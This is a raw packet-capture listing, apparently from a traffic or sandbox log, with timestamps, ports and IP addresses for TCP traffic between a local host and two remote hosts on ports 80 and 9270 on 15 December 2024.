Dec 15, 2024 11:59:29.686992884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.687032938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.688098907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.688211918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.688254118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.689166069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.689210892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.689230919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.689269066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.690428019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.690489054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.690531015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.691602945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.691644907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.691723108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.691762924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.692733049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.692780972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.692838907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.692879915 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.693972111 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.694055080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.694097996 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.695122957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.695166111 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.695221901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.695260048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.696352959 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.696391106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.696521997 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.696557999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.697545052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.697582960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.697649956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.698775053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.698811054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.698864937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.698903084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.699925900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.700006962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.700042963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.701113939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.701256037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.701280117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.701292038 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.702379942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.702397108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.702431917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.703495979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.703533888 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.703680992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.703718901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.704864025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.704901934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.704921961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.704953909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.706036091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.706073999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.706240892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.706531048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.707217932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.707258940 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.707444906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.707483053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.708271980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.708354950 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.708558083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.708595037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.709461927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.709562063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.709595919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.710743904 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.710786104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.710850000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.710887909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.711844921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.711884022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.712146044 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.712183952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.713078976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.713115931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.713212967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.713249922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.714220047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.714343071 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.714380026 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.715399981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.715439081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.715508938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.715547085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.716619015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.716665030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.716716051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.716751099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.717783928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.717890024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.717926979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.718977928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.719037056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.719090939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.719130993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.720314026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.720416069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.720424891 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.720618010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.721393108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.721436024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.721560955 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.721833944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.722604990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.722650051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.722676039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.722713947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.723809004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.723856926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.723875046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.723912954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.724947929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.724987030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.725058079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.725164890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.726195097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.726275921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.726313114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.727329016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.727371931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.727427959 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.727462053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.728533030 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.728569984 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.728615999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.728656054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.801496983 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:29.812292099 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:29.858762980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.858947039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.859006882 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.859486103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.859497070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.859528065 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.859545946 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.860549927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.860670090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.860704899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.861645937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.861681938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.862040043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.862126112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.862159967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.863249063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.863290071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.863399029 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.863436937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.864394903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.864434958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.864502907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.864538908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.865570068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.865681887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.865719080 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.866760969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.866786957 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.866826057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.867934942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.868024111 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.868062973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.869108915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.869153023 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.869234085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.869312048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.870335102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.870398045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.870440006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.871463060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.871507883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.871567011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.871606112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.872643948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.872685909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.872745991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.872786045 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.873816967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.873853922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.873862028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.873898029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.875004053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.875099897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.875138044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.876192093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.876235962 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.876252890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.876291990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.877367020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.877470016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.877510071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.878537893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.878587008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.878640890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.878685951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.879710913 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.879839897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.879883051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.881012917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.881061077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.881082058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.881119967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.882080078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.882210970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.882256031 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.882318974 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.883250952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.883375883 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.883419037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.884433031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.884474993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.884531021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.884566069 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.885618925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.885725021 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.885776043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.885817051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.886781931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.886974096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.887025118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.887969971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.888014078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.888072014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.888115883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.889148951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.889190912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.889247894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.889291048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.890330076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.890451908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.890497923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.891758919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.891834021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.891880989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.892891884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.892951012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.893016100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.893064976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.893934011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.893985033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.894033909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.895041943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.895091057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.895147085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.895189047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.896336079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.896462917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.896521091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.897489071 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.897535086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.897562027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.898650885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.898696899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.898709059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.898746014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.899761915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.899800062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.899874926 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.899912119 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.900979042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.901016951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.901092052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.901128054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.902128935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.902241945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.902277946 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.903367043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.903410912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.903418064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.903455019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.904475927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.904516935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.904537916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.904577017 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.905666113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.905756950 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.905796051 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.906833887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.906877995 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.906951904 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.906986952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.908097982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.908143997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.908164024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.908200979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.909509897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.909532070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.909564972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.909576893 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.910409927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.910520077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.910552025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.911540985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.911663055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.911703110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.912729979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.912767887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.912833929 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.912885904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.913912058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.914030075 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.914067030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.915122032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.915144920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.915164948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.915185928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.916282892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.916428089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.916460991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.917467117 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.917504072 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.917603970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.918661118 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.918695927 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.918750048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.918788910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.919811964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.919897079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.919909954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:29.919974089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:29.932416916 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:29.933604002 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:30.050893068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.050945997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.050966024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.051002979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.051425934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.051466942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.051652908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.051688910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.051784992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.051820040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.052823067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.052859068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:30.052923918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:30.052959919 CET	49805	80	192.168.2.4	31.41.244.11
